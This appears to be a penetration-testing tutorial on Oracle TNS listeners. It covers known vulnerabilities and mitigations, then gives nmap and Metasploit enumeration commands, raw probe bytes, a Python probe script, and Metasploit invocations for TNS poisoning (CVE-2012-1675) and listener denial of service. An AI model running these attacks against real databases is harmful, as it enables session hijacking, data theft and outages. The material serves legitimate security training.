Oracle TNS Listener - Port 1521,1522-1529

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Basic info

Oracle databases are widely used across industries for storing sensitive enterprise data. However, their exposure to the network — especially via the Transparent Network Substrate (TNS) listener — can introduce serious security risks. Oracle TNS operates over default port 1521, but in complex environments, you may encounter instances on 1522–1529 or even beyond. This article provides in-depth techniques for enumerating, exploiting, and securing Oracle TNS listeners, with real-world examples and practical commands.

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1. Understanding Oracle TNS and Default Ports

What is TNS?

TNS (Transparent Network Substrate) is Oracle’s proprietary protocol that enables communication between Oracle clients and databases across a network. It allows connections, sessions, and commands like CONNECT, DATA, RESOLVE, etc., to flow through Oracle listeners.

Default Ports

• 1521 — Primary default listener port

• 1522–1529 — Often used for additional listeners, RAC (Real Application Clusters), or other configured services

In real-world Oracle deployments, multiple listener processes may be used for load balancing, high availability, or segregation of duties across applications.

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2. Common Vulnerabilities in TNS Listeners

2.1. CVE-2012–1675 — TNS Poison Attack

Description: A critical vulnerability allowing attackers to hijack database sessions by registering rogue services with the listener.

Impact: MITM attacks, data exfiltration, and full control over database traffic.

Mitigation: Use VALID_NODE_CHECKING_REGISTRATION = YES and restrict registration IPs.

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2.2. No Listener Authentication

Many Oracle listeners are deployed with no password or authentication, allowing unauthenticated attackers to:

• View service names

• Stop, start, or reload the listener

• Perform Denial-of-Service (DoS) attacks

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2.3. Information Disclosure via Listener STATUS

An attacker can request a STATUS command to retrieve:

• Hostnames

• Service names

• Instance names

• Database version

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3. Enumeration Techniques

3.1. Nmap Scanning

Start by identifying open ports and checking for Oracle services.

nmap -sV -p 1521-1529 <target_ip>

Use the Oracle-specific NSE script:

nmap -p 1521 --script oracle-tns-version <target_ip>

3.2. Checking with Metasploit

msfconsole
use auxiliary/admin/oracle/tnslsnr_version
set RHOSTS <target_ip>
set RPORT 1521
run

Output reveals the listener version, hostname, and Oracle SID.

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3.3. Using TNSping

Oracle client installations come with tnsping:

tnsping <listener_alias>

Alternatively, simulate TNSping with Python or Netcat by sending crafted TNS packets.

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3.4. Manual Enumeration Using Telnet or Netcat

nc <target_ip> 1521

Send raw TNS packets:

\x00\x00\x00\x36\x01\x00\x00\x00\x01\x36\x01\x2c\x00\x00\x00\x00

You can script this using Python socket module to brute-force or enumerate SIDs.

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4. Exploitation Techniques

4.1. Exploiting TNS Poison Attack (CVE-2012–1675)

Metasploit Module:

use auxiliary/admin/oracle/tnspoison
set RHOSTS <target_ip>
set RPORT 1521
run

Warning: This module may crash the listener or disrupt sessions. Use only in lab or authorized environments.

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4.2. Exploiting Unauthenticated Listener Control

If listener commands like STATUS, STOP, or RELOAD are unauthenticated:

use auxiliary/admin/oracle/tnslsnr_version
use auxiliary/admin/oracle/tnslsnr_service

You can perform a Denial-of-Service:

use auxiliary/dos/oracle/tnslsnr_dos

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5. Custom Python Script to Enumerate Listener Services

import socket
def send_tns_probe(ip, port):
    tns_pkt = b"\x00\x00\x00\x2a\x01\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00"
    try:
        s = socket.socket()
        s.settimeout(3)
        s.connect((ip, port))
        s.send(tns_pkt)
        response = s.recv(1024)
        print(f"[+] Response from {ip}:{port}:\n{response.hex()}")
    except Exception as e:
        print(f"[-] Failed to connect to {ip}:{port} - {str(e)}")
send_tns_probe("10.0.0.25", 1523)

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Learn & practice For the OSCP.

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